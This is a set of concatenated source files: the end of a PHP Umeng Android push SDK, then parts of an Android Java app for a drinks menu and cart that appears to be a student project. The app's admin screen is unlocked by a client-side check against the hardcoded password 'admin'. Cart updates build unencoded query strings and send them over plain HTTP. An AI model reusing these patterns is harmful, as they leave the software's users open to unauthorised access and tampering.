$this->appkey = $config->get("push.android_app_key");
$this->appMasterSecret = $config->get("push.android_app_secret");
$this->timestamp = strval(time());
}
/**
* 安卓广播
* @param AndroidPushBody $body
*/
function sendAndroidBroadcast(AndroidPushBody $body)
{
try {
$brocast = new AndroidBroadcast();
$brocast->setAppMasterSecret($this->appMasterSecret);
$brocast->setPredefinedKeyValue("appkey", $this->appkey);
$brocast->setPredefinedKeyValue("timestamp", $this->timestamp);
$brocast->setPredefinedKeyValue("ticker", $body->getTicker());
$brocast->setPredefinedKeyValue("title", $body->getTitle());
$brocast->setPredefinedKeyValue("text", $body->getText());
$brocast->setPredefinedKeyValue("after_open", $body->getAfterOpen());
// Set 'production_mode' to 'false' if it's a test device.
// For how to register a test device, please see the developer doc.
$brocast->setPredefinedKeyValue("production_mode", $body->getProductionMode());
// [optional]Set extra fields
foreach ($body->getCustomizedField() as $key => $value) {
$brocast->setExtraField($key, $value);
}
print("Sending broadcast notification, please wait...\r\n");
$brocast->send();
print("Sent SUCCESS\r\n");
} catch (\Exception $e) {
print("Caught exception: " . $e->getMessage());
}
}
/**
* 安卓单播
* @param AndroidPushBody $body
*/
function sendAndroidUnicast(AndroidPushBody $body)
{
try {
$unicast = new AndroidUnicast();
$unicast->setAppMasterSecret($this->appMasterSecret);
$unicast->setPredefinedKeyValue("appkey", $this->appkey);
$unicast->setPredefinedKeyValue("timestamp", $this->timestamp);
// Set your device tokens here
$unicast->setPredefinedKeyValue("device_tokens", $body->getDeviceTokens());
$unicast->setPredefinedKeyValue("ticker", $body->getTicker());
$unicast->setPredefinedKeyValue("title", $body->getTitle());
$unicast->setPredefinedKeyValue("text", $body->getText());
$unicast->setPredefinedKeyValue("after_open", $body->getAfterOpen());
// Set 'production_mode' to 'false' if it's a test device.
// For how to register a test device, please see the developer doc.
$unicast->setPredefinedKeyValue("production_mode", $body->getProductionMode());
// Set extra fields
foreach ($body->getCustomizedField() as $key => $value) {
$unicast->setExtraField($key, $value);
}
print("Sending unicast notification, please wait...\r\n");
$unicast->send();
print("Sent SUCCESS\r\n");
} catch (\Exception $e) {
print("Caught exception: " . $e->getMessage());
}
}
}<file_sep>/src/Config/AndroidPushBody.php
<?php
namespace UMSdk\Config;
class AndroidPushBody
{
private $deviceTokens;
private $ticker = "安卓ticker";
private $title = "安卓title";
private $text = "安卓text";
private $afterOpen = "after open";
private $productionMode = "false";
private $customizedField = ["" => ""];
/**
* @param string $deviceTokens
*/
public function setDeviceToken(string $deviceTokens)
{
$this->deviceTokens = $deviceTokens;
}
/**
* @return mixed
*/
public function getDeviceTokens()
{
return $this->deviceTokens;
}
/**
* @return string
*/
public function getTicker(): string
{
return $this->ticker;
}
/**
* @param string $ticker
*/
public function setTicker(string $ticker): void
{
$this->ticker = $ticker;
}
/**
* @return string
*/
public function getTitle(): string
{
return $this->title;
}
/**
* @param string $title
*/
public function setTitle(string $title): void
{
$this->title = $title;
}
/**
* @return string
*/
public function getText(): string
{
return $this->text;
}
/**
* @param string $text
*/
public function setText(string $text): void
{
$this->text = $text;
}
/**
* @return string
*/
public function getAfterOpen(): string
{
return $this->afterOpen;
}
/**
* @param string $afterOpen
*/
public function setAfterOpen(string $afterOpen): void
{
$this->afterOpen = $afterOpen;
}
/**
* @return mixed
*/
public function getProductionMode()
{
return $this->productionMode;
}
/**
* @param mixed $productionMode
*/
public function setProductionMode($productionMode): void
{
$this->productionMode = $productionMode;
}
/**
* @return array
*/
public function getCustomizedField(): array
{
return $this->customizedField;
}
/**
* @param array $customizedField
*/
public function setCustomizedField(array $customizedField): void
{
$this->customizedField = $customizedField;
}
}<file_sep>/src/Facade/UMPushAndroid.php
<?php
namespace UMSdk\Facade;
use Illuminate\Support\Facades\Facade;
use UMSdk\Config\AndroidPushBody;
/**
* @method void sendAndroidBroadcast(AndroidPushBody $body)
* @method void sendAndroidUnicast(AndroidPushBody $body)
* Class UMPushAndroid
* @package UMSdk\Facade
*/
class UMPushAndroid extends Facade
{
protected static function getFacadeAccessor()
{
return "push.android";
}
} | 4e7e8e392a833bd9b369bd192bfc6de579996069 | [
"Markdown",
"PHP"
] | 10 | PHP | yaobiao131/umsdk | 32593cc5b0c388c7fd9e857a4388581b76c3c3b9 | efd985c43c2fad8ee404d0e2dc8a0a09b3341e19 |
refs/heads/master | <repo_name>vitavinum/Vitavinum<file_sep>/app/src/main/java/cesi/vitavinum/panier/ProductAdapter.java
package cesi.vitavinum.panier;
import android.content.Context;
import android.content.Intent;
import android.provider.Settings;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import cesi.vitavinum.R;
public class ProductAdapter extends BaseAdapter {
private List<Produit> mProductList;
private LayoutInflater mInflater;
public ProductAdapter(List<Produit> list, LayoutInflater inflater) {
mProductList = list;
mInflater = inflater;
}
@Override
public int getCount() {
return mProductList.size();
}
@Override
public Object getItem(int position) {
return mProductList.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, final ViewGroup parent) {
final ViewItem item;
if (convertView == null) {
convertView = mInflater.inflate(R.layout.activity_content_list, null);
item = new ViewItem();
item.image = (ImageView) convertView.findViewById(R.id.image);
item.title = (TextView) convertView.findViewById(R.id.title);
item.price = (TextView) convertView.findViewById(R.id.price);
item.quantity = (EditText) convertView.findViewById(R.id.quantity);
item.totalPrice = (TextView) convertView.findViewById(R.id.totalPrice);
item.minus = (Button) convertView.findViewById(R.id.minus);
item.plus = (Button) convertView.findViewById(R.id.plus);
item.delete = (ImageView) convertView.findViewById(R.id.delete);
convertView.setTag(item);
} else {
item = (ViewItem) convertView.getTag();
}
final Produit curProduct = mProductList.get(position);
final String android_id = Settings.Secure.getString(parent.getContext().getContentResolver(),
Settings.Secure.ANDROID_ID);
LayoutInflater inflater = (LayoutInflater) parent.getContext().getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View view = inflater.inflate(R.layout.activity_panier_list, null);
TextView prix_Final = (TextView) view.findViewById(R.id.prixFinal);
double prixFinal = 0.00;
for(Produit p : mProductList){
prixFinal += p.getQuantity() * p.getPrice();
}
//prixFinal = Math.floor(prixFinal * 100) / 100;
prix_Final.setText(prixFinal + "");
item.title.setText(curProduct.title);
double price = 0.00;
price = curProduct.price * 100 / 100;
item.price.setText("Price " + price + " €");
item.quantity.setText(curProduct.quantity + "");
double totalPrice = 0.00;
totalPrice = curProduct.quantity * curProduct.price * 100 / 100;
item.totalPrice.setText("Total Price " + totalPrice + " €");
/* if (!curProduct.image.equals("")) {
aq.id(item.image).image(curProduct.image);
} else {*/
new DownLoadImageTask(item.image).execute(curProduct.image);
item.minus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (!item.quantity.getText().toString().equals("1")) {
int quantite = Integer.parseInt(item.quantity.getText().toString());
quantite -= 1;
setQuantite(android_id, curProduct, quantite);
item.quantity.setText(quantite + "");
double total = 0.00;
total = quantite * curProduct.price;
total = Math.floor(total * 100) / 100;
item.totalPrice.setText("Total Price " + total + " €");
}
}
});
item.plus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int quantite = Integer.parseInt(item.quantity.getText().toString());
quantite += 1;
setQuantite(android_id, curProduct, quantite);
item.quantity.setText(quantite + "");
double total = 0.00;
total = quantite * curProduct.price;
total = Math.floor(total * 100) / 100;
item.totalPrice.setText("Total Price " + total + " €");
}
});
item.delete.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
JSONObject json_panier = null;
try {
json_panier = select("http://vitavinumcesi.890m.com/select_panier.php?idPanier="
+ android_id).getJSONObject(0);
List<String> lesQuantites = new ArrayList<String>(Arrays.asList(json_panier.getString("quantite").split(";")));
List<String> lesProduits = new ArrayList<String>(Arrays.asList(json_panier.getString("id_produit").split(";")));
String lesQuantite = "";
String lesProduit = "";
int index = curProduct.getId() - 1;
lesQuantites.remove(index);
lesProduits.remove(index);
for(int i = 0; i < lesQuantites.size(); i++){
if(i == 0){
lesQuantite = lesQuantites.get(i);
lesProduit = lesProduits.get(i);
} else {
lesQuantite += ";" + lesQuantites.get(i);
lesProduit += ";" + lesProduits.get(i);
}
}
update("http://vitavinumcesi.890m.com/panier_update.php?idPanier="
+ android_id + "&idProduit="
+ lesProduit + "&quantite=" + lesQuantite);
Intent lObjIntent = new Intent(parent.getContext(), PanierActivity.class);
parent.getContext().startActivity(lObjIntent);
} catch (JSONException e) {
e.printStackTrace();
}
}
});
//item.image.setImage();
/*}*/
return convertView;
}
public void update(String url){
InputStream is=null;
String result=null;
String line=null;
int code;
try {
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(url + "");
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
Log.e("pass 1", "connection success");
}
catch(Exception e) {
Log.e("Fail 1", e.toString());
}
try {
BufferedReader reader = new BufferedReader
(new InputStreamReader(is, "iso-8859-1"), 8);
StringBuilder sb = new StringBuilder();
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result = sb.toString();
Log.e("pass 2", "connection success");
}
catch(Exception e) {
Log.e("Fail 2", e.toString());
}
}
private JSONArray select(String url) {
InputStream is=null;
String result=null;
String line=null;
JSONArray json_data = null;
//nameValuePairs.add(new BasicNameValuePair("id",id));
try {
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(url);
//httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
Log.e("pass 1", "connection success ");
} catch(Exception e) {
Log.e("Fail 1", e.toString());
}
try {
BufferedReader reader = new BufferedReader
(new InputStreamReader(is, "iso-8859-1"), 8);
StringBuilder sb = new StringBuilder();
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result = sb.toString();
Log.e("pass 2", "connection success ");
} catch(Exception e) {
Log.e("Fail 2", e.toString());
}
try {
json_data = new JSONArray(result);
} catch(Exception e) {
Log.e("Fail 3", e.toString());
}
return json_data;
}
public void setQuantite(String android_id, Produit curProduct, int quantite){
try {
JSONObject json_panier = select("http://vitavinumcesi.890m.com/select_panier.php?idPanier="
+ android_id).getJSONObject(0);
String[] lesQuantites = json_panier.getString("quantite").split(";");
lesQuantites[curProduct.id - 1] = quantite + "";
String lesQuantite = "";
for(int i = 0; i < lesQuantites.length; i++){
if(i == 0){
lesQuantite = lesQuantites[i];
} else {
lesQuantite += ";" + lesQuantites[i];
}
}
update("http://vitavinumcesi.890m.com/panier_update.php?idPanier="
+ android_id + "&idProduit="
+ json_panier.getString("id_produit") + "&quantite=" + lesQuantite);
} catch (JSONException e) {
e.printStackTrace();
}
}
private class ViewItem {
ImageView image;
TextView title;
TextView price;
TextView totalPrice;
EditText quantity;
Button minus;
Button plus;
ImageView delete;
}
}<file_sep>/app/src/main/java/cesi/vitavinum/carteboisson/Activity/AccueilCarteBoissonActivity.java
package cesi.vitavinum.carteboisson.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
import cesi.vitavinum.R;
public class AccueilCarteBoissonActivity extends AppCompatActivity implements View.OnClickListener {
Button bVins;
Button bBières;
Button bApéritifs;
Button bSpiritueux;
Button bBoissonsChaudes;
Button bSansAlcool;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_accueil_carte_boisson);
/*Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);*/
/*FloatingActionButton fab = (FloatingActionButton) findViewById(R.id.fab);
fab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Snackbar.make(view, "Replace with your own action", Snackbar.LENGTH_LONG)
.setAction("Action", null).show();
}
});*/
/*bVins = (Button) findViewById(R.id.btn_Vins);
bVins.setOnClickListener(this);
bBières = (Button) findViewById(R.id.btn_Bières);
bBières.setOnClickListener(this);
bApéritifs = (Button) findViewById(R.id.btn_Apéritifs);
bApéritifs.setOnClickListener(this);
bSpiritueux = (Button) findViewById(R.id.btn_Spiritueux);
bSpiritueux.setOnClickListener(this);
bBoissonsChaudes = (Button) findViewById(R.id.btn_BoissonsChaudes);
bBoissonsChaudes.setOnClickListener(this);
bSansAlcool = (Button) findViewById(R.id.btn_SansAlcool);
bSansAlcool.setOnClickListener(this);//*/
Toast.makeText(this, "Test activité (Molia)", Toast.LENGTH_SHORT).show();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.shopping) {
return true;
}
return super.onOptionsItemSelected(item);
}
@Override
public void onClick(View v) {
if (v.getId() == bVins.getId()) {
}
else if (v.getId() == bBières.getId()) {
Toast.makeText(this, "redirection liste des bières", Toast.LENGTH_SHORT).show();
}
else if (v.getId() == bApéritifs.getId()) {
Toast.makeText(this, "redirection liste des apéritifs", Toast.LENGTH_SHORT).show();
}
else if (v.getId() == bSpiritueux.getId()) {
Toast.makeText(this, "redirection liste des spiritueux", Toast.LENGTH_SHORT).show();
}
else if (v.getId() == bBoissonsChaudes.getId()) {
Toast.makeText(this, "redirection liste des boissons chaudes", Toast.LENGTH_SHORT).show();
}
else if (v.getId() == bSansAlcool.getId()) {
Toast.makeText(this, "redirection liste des sans alcool", Toast.LENGTH_SHORT).show();
}
}
}
<file_sep>/app/src/main/java/cesi/vitavinum/carteboisson/Fragments/Frag_vin.java
package cesi.vitavinum.carteboisson.Fragments;
import android.app.AlertDialog;
import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.os.AsyncTask;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.text.Editable;
import android.text.TextWatcher;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.RadioGroup.OnCheckedChangeListener;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.Spinner;
import android.widget.Toast;
import com.google.gson.Gson;
import com.nostra13.universalimageloader.core.DisplayImageOptions;
import com.nostra13.universalimageloader.core.ImageLoader;
import com.nostra13.universalimageloader.core.ImageLoaderConfiguration;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.List;
import cesi.vitavinum.R;
import cesi.vitavinum.carteboisson.Adapter.ListeVinAdapter;
import cesi.vitavinum.carteboisson.Class_carte_boisson.Boisson;
import cesi.vitavinum.carteboisson.Adapter.ListSodaAdapter;
/**
* Created by samue on 05/05/2016.
*/
public class Frag_vin extends Fragment implements View.OnClickListener {
ListView lBoisson;
View vFragVin;
public ListeVinAdapter adapter;
Frag_vin frag_vins;
private ProgressDialog dialog;
LayoutInflater inflater2;
RadioGroup rd_group;
View spinner_qte;
EditText editSearch1;
EditText eMinPrice1;
EditText eMaxPrice1;
ImageView im1;
ImageView im2;
String categorie;
public Frag_vin(String categorie){
this.categorie = categorie;
}
public Frag_vin(){
}
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
inflater2 = inflater;
vFragVin = inflater2.inflate(R.layout.frag_vins, container, false);
lBoisson = (ListView) vFragVin.findViewById(R.id.lvFragSoda);
editSearch1 = (EditText) vFragVin.findViewById(R.id.searchView);
eMinPrice1 = (EditText) vFragVin.findViewById(R.id.eMinPrice);
eMaxPrice1 = (EditText) vFragVin.findViewById(R.id.eMaxPrice);
View v = inflater.inflate(R.layout.carte_liste_vin, container, false);
im1 = (ImageView) v.findViewById(R.id.imAlph);
im2 = (ImageView) v.findViewById(R.id.imPrice);
frag_vins = this;
dialog = new ProgressDialog(getContext());
dialog.setIndeterminate(true);
dialog.setCancelable(false);
dialog.setMessage("Loading. Please wait...");
// Create default options which will be used for every
// displayImage(...) call if no options will be passed to this method
DisplayImageOptions defaultOptions = new DisplayImageOptions.Builder()
.cacheInMemory(true)
.cacheOnDisk(true)
.build();
ImageLoaderConfiguration config = new ImageLoaderConfiguration.Builder(getContext())
.defaultDisplayImageOptions(defaultOptions)
.build();
ImageLoader.getInstance().init(config);
// To start fetching the data when app start, uncomment below line to start the async task.
new JSonTaskBoisson().execute("http://vitavinumcesi.890m.com/AppVitavinum/ScriptPhp/requete_select/ProductsWithCat.php");
lBoisson.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
showSimplePopUp();
}
});
//Button showPopUpButton = (Button) vFragSoda.findViewById(R.id.buttonShowPopUp);
//showPopUpButton.setOnClickListener
return vFragVin;
}
public void onRadioButtonClicked(View view) {
// Is the button now checked?
boolean checked = ((RadioButton) view).isChecked();
// Check which radio button was clicked
switch(view.getId()) {
case R.id.radio_verre:
if (checked)
{
// Pirates are the best
Toast.makeText(getContext(), "Verre", Toast.LENGTH_SHORT);
break;
}
case R.id.radio_bouteille:
if (checked)
{
// Ninjas rule
Toast.makeText(getContext(), "Verre", Toast.LENGTH_SHORT);
break;
}
}
}
private void showSimplePopUp() {
/*spinner_qte = inflater2.inflate(R.layout.pop_up_choice_boisson, null);
Spinner sp = (Spinner) spinner_qte.findViewById(R.id.spinner_qte);
// Spinner Drop down elements
List<String> listeString = new ArrayList<String>();
listeString.add("1");
listeString.add("2");
listeString.add("3");
// Creating adapter for spinner
ArrayAdapter<String> spinnerAdapter = new ArrayAdapter<String>(getContext(), R.layout.support_simple_spinner_dropdown_item, listeString);
// Drop down layout style - list view with radio button
spinnerAdapter.setDropDownViewResource(R.layout.support_simple_spinner_dropdown_item);
// attaching data adapter to spinner
sp.setAdapter(spinnerAdapter);*/
AlertDialog.Builder helpBuilder = new AlertDialog.Builder(getContext());
helpBuilder.setTitle("Commande");
helpBuilder.setMessage("Type");
helpBuilder.setView(spinner_qte);
helpBuilder.setPositiveButton("Ok",
new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
// Do nothing but close the dialog
}
});
//helpBuilder.setItems(R);
// Remember, create doesn't show the dialog
AlertDialog helpDialog = helpBuilder.create();
helpDialog.show();
rd_group = (RadioGroup) spinner_qte.findViewById(R.id.radio_type);
rd_group.clearCheck();
rd_group.setOnCheckedChangeListener(new OnCheckedChangeListener() {
@Override
public void onCheckedChanged(RadioGroup group, int checkedId) {
//Toast.makeText(getContext(), "Crunch", Toast.LENGTH_LONG);
}
});
}
@Override
public void onClick(View v) {
// Is the button now checked?
boolean checked = ((RadioButton) v).isChecked();
// Check which radio button was clicked
switch(v.getId()) {
case R.id.radio_verre:
if (checked)
{
// Pirates are the best
Toast.makeText(getContext(), "Verre", Toast.LENGTH_SHORT);
break;
}
case R.id.radio_bouteille:
if (checked)
{
// Ninjas rule
Toast.makeText(getContext(), "Bouteille", Toast.LENGTH_SHORT);
break;
}
}
}
public class JSonTaskBoisson extends AsyncTask<String,String, List<Boisson>> {
@Override
protected void onPreExecute() {
super.onPreExecute();
dialog.show();
}
@Override
protected List<Boisson> doInBackground(String... params) {
String result = "";
InputStream is = null;
List<Boisson> boissonModelList = new ArrayList<>();
try {
ArrayList<NameValuePair> filter = new ArrayList<>();
filter.add(new BasicNameValuePair("id_category","4"));
HttpClient httpclient = new DefaultHttpClient();
//httpclient.getParams().setContentCharset("utf8");
HttpPost httppost = new HttpPost("http://vitavinumcesi.890m.com/AppVitavinum/ScriptPhp/requete_select/ProductsWithCat.php");
HttpResponse response = httpclient.execute(httppost);
is = response.getEntity().getContent();
//assert is != null;
BufferedReader reader = new BufferedReader(new InputStreamReader(is,"UTF-8"));
StringBuilder sb = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
}
is.close();
JSONObject parentObject = new JSONObject(sb.toString());
JSONArray parentArray = parentObject.getJSONArray("groups");
Gson gson = new Gson();
for(int i=0; i<parentArray.length(); i++) {
JSONObject finalObject = parentArray.getJSONObject(i);
/**
* below single line of code from Gson saves you from writing the json parsing yourself which is commented below
*/
Boisson boisson = gson.fromJson(new String(finalObject.toString().getBytes(), "UTF-8"), Boisson.class);
boissonModelList.add(boisson);
}
return boissonModelList;
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (JSONException e) {
e.printStackTrace();
}
return null;
}
@Override
protected void onPostExecute(List<Boisson> result) {
super.onPostExecute(result);
dialog.dismiss();
if(result != null) {
adapter = new ListeVinAdapter(getContext(),
frag_vins, R.layout.row_carte_boisson, result);
lBoisson.setAdapter(adapter);
TextWatcher twPrice = new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
}
@Override
public void onTextChanged(CharSequence s, int start, int before, int count) {
}
@Override
public void afterTextChanged(Editable s) {
adapter.filterAll();
}
};
//eMinPrice1.setText("crg");
//eMinPrice1.addTextChangedListener(twPrice);
//eMaxPrice.addTextChangedListener(twPrice);
//editSearch.addTextChangedListener(twPrice);
/*lBoisson.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
/*Boisson movieModel = result.get(position);
Intent intent = new Intent(this, DetailActivity.class);
intent.putExtra("boissonModel", new Gson().toJson(Boisson));
startActivity(intent);
Toast.makeText(getApplicationContext(), "Click Item", Toast.LENGTH_LONG);
}
});*/
}
else
{
Toast.makeText(getContext(), "Not able to fetch data from server, please check url or network data", Toast.LENGTH_SHORT).show();
}
}
}
}
<file_sep>/app/src/main/java/cesi/vitavinum/carteboisson/Class_carte_boisson/Boisson.java
package cesi.vitavinum.carteboisson.Class_carte_boisson;
/**
* Created by samue on 12/04/2016.
*/
public class Boisson {
private int id_produit;
private double prix_TTC;
private float prix_verre;
private float prix_bouteille;
private String nom_categorie;
private String nom_produit;
private String nom_sous_categorie;
private String image;
private String pedagogie;
private String producteur;
private String prix_du_contenant;
private String contenance;
public Boisson()
{
}
public Boisson(int id_produit, float prix_ttc, String image, String nom_produit,
String nom_categorie, String nom_sous_categorie, String pedagogie,
String producteur, String prix_du_contenant, String contenance) {
this.id_produit = id_produit;
this.prix_TTC = prix_ttc;
this.image = image;
this.nom_categorie = nom_categorie;
this.nom_sous_categorie = nom_sous_categorie;
this.nom_produit = nom_produit;
this.pedagogie = pedagogie;
this.producteur = producteur;
this.prix_du_contenant = prix_du_contenant;
this.contenance = contenance;
}
public String getPrix_du_contenant() {
return prix_du_contenant;
}
public void setPrix_du_contenant(String prix_du_contenant) {
this.prix_du_contenant = prix_du_contenant;
}
public String getContenance() {
return contenance;
}
public void setContenance(String contenance) {
this.contenance = contenance;
}
public String getNom_produit() {
return nom_produit;
}
public void setNom_produit(String nom_produit) {
this.nom_produit = nom_produit;
}
public String getNom_sous_categorie() {
return nom_sous_categorie;
}
public void setNom_sous_categorie(String nom_sous_categorie) {
this.nom_sous_categorie = nom_sous_categorie;
}
public String getNom_categorie() {
return nom_categorie;
}
public void setNom_categorie(String nom_categorie) {
this.nom_categorie = nom_categorie;
}
public int getId_produit() {
return id_produit;
}
public void setId_produit(int id_produit) {
this.id_produit = id_produit;
}
public double getPrix_ttc() {
return prix_TTC;
}
public void setPrix_ttc(double prix_ttc) {
this.prix_TTC = prix_ttc;
}
public String getImage() {
return image;
}
public void setImage(String image) {
this.image = image;
}
public String getPedagogie() {
return pedagogie;
}
public void setPedagogie(String pedagogie) {
this.pedagogie = pedagogie;
}
public String getProducteur() {
return producteur;
}
public void setProducteur(String producteur) {
this.producteur = producteur;
}
public float getPrix_verre() {
return prix_verre;
}
public void setPrix_verre(float prix_verre) {
this.prix_verre = prix_verre;
}
public float getPrix_bouteille() {
return prix_bouteille;
}
public void setPrix_bouteille(float prix_bouteille) {
this.prix_bouteille = prix_bouteille;
}
}
<file_sep>/app/src/main/java/cesi/vitavinum/administration/ReceptionCommandeActivity.java
package cesi.vitavinum.administration;
import android.app.Dialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.Settings;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuItem;
import android.view.MotionEvent;
import android.view.View;
import android.widget.AdapterView;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.TableRow;
import android.widget.TextView;
import android.widget.Toast;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.concurrent.ExecutionException;
import cesi.vitavinum.R;
/**
* Created by benjaminbleriot on 15/03/2016.
*/
public class ReceptionCommandeActivity extends AppCompatActivity implements View.OnClickListener, AdapterView.OnItemClickListener, AdapterView.OnItemLongClickListener, View.OnTouchListener, CompoundButton.OnCheckedChangeListener {
// final EditText adminMDP = (EditText) findViewById(R.id.editTextMotDePasseAdmin);
static String motDePasse = "";
static String idCommande = "";
CheckBox checkBoxEtatCommande;
ListView listView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_reception_commande);
//
//setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
//checkBoxEtatCommande = (CheckBox) findViewById(R.id.checkBoxEtat);
//checkBoxEtatCommande.setOnTouchListener(this);
//
final AlertDialog.Builder builder = new AlertDialog.Builder(this);
// Get the layout inflater
final LayoutInflater inflater = getLayoutInflater();
//final EditText u = (EditText)v.findViewById(R.id.connexion);
// Inflate and set the layout for the dialog
// Pass null as the parent view because its going in the dialog layout
builder.setView(inflater.inflate(R.layout.dialog_signin, null))
// Add action buttons
.setPositiveButton(R.string.connexion, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
Dialog f = (Dialog) dialog;
//This is the input I can't get text from
EditText adminMDP = (EditText) f.findViewById(R.id.editTextMotDePasseAdmin);
//checkBoxEtatCommande = (CheckBox) findViewById(R.id.checkBoxEtat);
if(adminMDP.getText().toString().trim().equals("admin")){
//System.out.println("************************************************************************"+adminMDP.getText());
motDePasse = adminMDP.getText().toString();
// ici recupe du mdp et connexion a la base .
try {
getCommandeList();
} catch (ExecutionException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
else {
recreate();
}
}
})
.setNegativeButton(R.string.annuler, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
finish();
}
});
//builder.create();
builder.setCancelable(false);
builder.show() ;//*/
/*ArrayList<Commande> listCommande = new ArrayList<>();
listCommande.add(new Commande(123, 12, "Coca", 1, (float) 1.5));
listCommande.add(new Commande(123, 12, "Coca light", 1, (float) 1.5));
listCommande.add(new Commande(123, 12, "Coca zero", 1, (float) 1.5));*/
//AdapterReceptionCommande mAdaptateur = new AdapterReceptionCommande(this,android.R.layout.simple_list_item_1,listCommande);
//ListView listView = (ListView) findViewById(R.id.listView);
// listView.setAdapter(mAdaptateur);*/
//new AsyncTaskRequeteSelectBDD().execute();
/* AsyncTaskRequeteSelectBDD asyncTaskRequeteSelectBDD = new AsyncTaskRequeteSelectBDD();
asyncTaskRequeteSelectBDD.execute();
ArrayList<Commande> listCommande = asyncTaskRequeteSelectBDD.getCommande();
AdapterReceptionCommande mAdaptateur = new AdapterReceptionCommande(this,android.R.layout.simple_list_item_1,listCommande);
ListView listView = (ListView) findViewById(R.id.listView);
listView.setAdapter(mAdaptateur);*/
//builder.OnClickListener(this);
}
@Override
public boolean onTouchEvent(MotionEvent event) {
//event.getAction()
if(event.getButtonState() != AlertDialog.BUTTON_POSITIVE){
System.out.println("******Verouiller fenetre!!!!!!!!");
System.out.println("****** item get Item: "+listView.getSelectedItem());
//log("");
}else{
System.out.println("******Deverouiller fenetre!!!!!!!!");
System.out.println("****** item get Item: "+listView.getSelectedItem());
}
return super.onTouchEvent(event);
}
void getCommandeList() throws ExecutionException, InterruptedException {
AsyncTaskRequeteSelectBDD asyncTaskRequeteSelectBDD = new AsyncTaskRequeteSelectBDD();
ArrayList<Commande> listCommande = (ArrayList<Commande>) asyncTaskRequeteSelectBDD.execute().get();
System.out.println("******Connexion reussi!!!!!!!!");
if(!asyncTaskRequeteSelectBDD.equals(null)){
